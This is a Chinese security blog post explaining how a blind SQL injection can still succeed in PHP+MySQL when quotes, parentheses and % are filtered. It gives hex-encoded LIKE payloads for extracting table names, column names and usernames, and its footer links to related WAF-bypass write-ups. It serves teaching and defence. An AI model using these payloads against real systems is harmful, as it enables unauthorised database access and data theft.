常规特殊字符被过滤的一种绕过技巧

VSole2022-12-14 17:17:05

今天来分享一个绕过过滤比如 ' " ( ) % 等字符的场景,测试环境为 PHP+Mysql

假设场景

php 代码通过 HTTP GET 参数 param1 接收用户输入的内容,然后经过自定义的过滤函数 input-filter 过滤可能导致 SQL 注入的特殊字符。

在 SQL 查询中,用户数据($user_input)作为列名插入到查询语句中,比如:

$query = mysqli_query($connection,"SELECT $user_input,time FROM stats WHERE depth = '$depth' ORDER BY times ASC");  

应用程序代码执行 SQL 语句后,不会在页面上输出任何内容,那么就无法使用联合查询的技术来获取数据,而代码中也未使用 mysqli_error() 函数来打印错误信息,那么也无法使用报错注入的方式来回显数据。

唯一可以利用的技术就只有盲注了,而当前环境的代码中对常见的特殊字符进行了过滤,过滤列表如下:

" < > = ' ( ) &  @ % #  ;  

当我们使用机遇布尔盲注的有效载荷时,比如:

from dual where true and 1< ascii ( substring ( database (),1,1 ) )

经过函数过滤后,变成了:

from dual where true and 1  ascii substring database ,1,1

<、(、) 被过滤了

假如我们使用 URL 编码特殊字符,但是,URL 编码中都包含特殊字符 %,也是被过滤了的,比如:

from dual where true and 1 %3C ascii %28 substring %28 database %28 %29 %2C 1 %2C 1 %29%29

过滤后变成了:

from dual where true and 1 3C ascii 28 substring 28 database 28 29 2C 1 2C 1 2929 

尝试绕过

基础

在这种情况下,我们利用漏洞的方式是盲注,为了避免过滤特殊字符,结合 where 条件,使用带有十六进制表示的 like子句。

like 子句不仅接受单引号中的输入内容,还支持十六进制的内容:

Text         Hex encoded value%user%         257573657225

比如:

select column_name from table_name where value_in_column like '%user%'

使用十六进制编码的语句:

 select column_name from table_name where value_in_column like 0x257573657225

测试

提取表名

假如我们有个表名为 auth,使用 like 子句来查找该表名的第一个字符 a 的有效载荷:

select table_name from information_schema.tables where table_name like 'a%' limit 0,1

使用十六进制编码的 payload:

select table_name from information_schema.tables where table_name like 0x6125 limit 0,1

在上面的案例中,用户输入的 payload 为:

table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- -

后端执行的完整 SQL 语句为:

select table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- - ,time FROM stats WHERE AND depth = '$depth' ORDER BY times ASC

提取列名

假设表 auth 中有一个列名为 username,通常情况下的查询语句为:

select column_name from information_schema.columns where table_name like 'auth' and column_name like 'u%' limit 0,1

采用十六进制编码后的语句为:

select column_name from information_schema.columns where table_name like 0x61757468 and column_name like 0x7525 limit 0,1

提取数据

到目前来说已知表名 auth,列名 username,接下来利用 like 查询首字母为 a 的数据:

select username from auth where username like 'a%' limit 0,1

同样使用十六进制编码:

select username from auth where username like 0x6125 limit 0,1

总结

虽然常规特殊字符被过滤了,利用起来比较复杂,但还是有一条路可以走,对于这部分绕过方式的防御,可以在过滤的关键词中再增加一些,比如 select、like 等查询关键词,还有常见的注释符,比如 -、#、/* 等。

select特殊字符
本作品采用《CC 协议》,转载必须注明作者和本文链接
今天来分享一个绕过过滤比如?等字符的场景,测试环境为 PHP+Mysql假设场景php 代码通过 HTTP GET 参数 param1 接收用户输入的内容,然后经过自定义的过滤函数?过滤可能导致 SQL 注入的特殊字符。在 SQL 查询中,用户数据作为列名插入到查询语句中,比如:$query = mysqli_query;函数来打印错误信息,那么也无法使用报错注入的方式来回显数据。auth,使用 like 子句来查找该表名的第一个字符?
BypassD盾之SQL注入绕过总结
0x01 %00绕过WAF输入一个单引号页面报错首先闭合,这里用')闭合keywords=1') %23. order by x 被拦截,用--%0a代替空格即可直接上union select会一直卡着,没有任何返回把空格都改为--%0a,成功响应,在 select 跟 1,2,3... 之间用两个 --%0a 会无响应在 1 后面加上?并 url 编码,原理是 waf 把空字节认为是结束导致了后面的语句可以绕过0x02 Base64绕WAF发现参数为 base64 编码测试字符发现页面报错,使用报错注入来出数据133 and updatexml. 这里可以使用16进制或者科学计数法0x1或1e1keywords=11'and-updatexml
Bypass安全狗MySQL注入
风险描述SQL注入主要发生在应用程序数据库层面上。程序员在设计程序的时候,没有对用户的输入进行校验,含有特殊字符语句会被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
SQL注入主要发生在应用程序数据库层面上
另类字符集编码绕过绕过原理HTTP协议兼容性:HTTP Charset的多样性Content-Type头中使用charset定义字符集的应用场景不只有在responses中,request中同样可以使用。
VSole
网络安全专家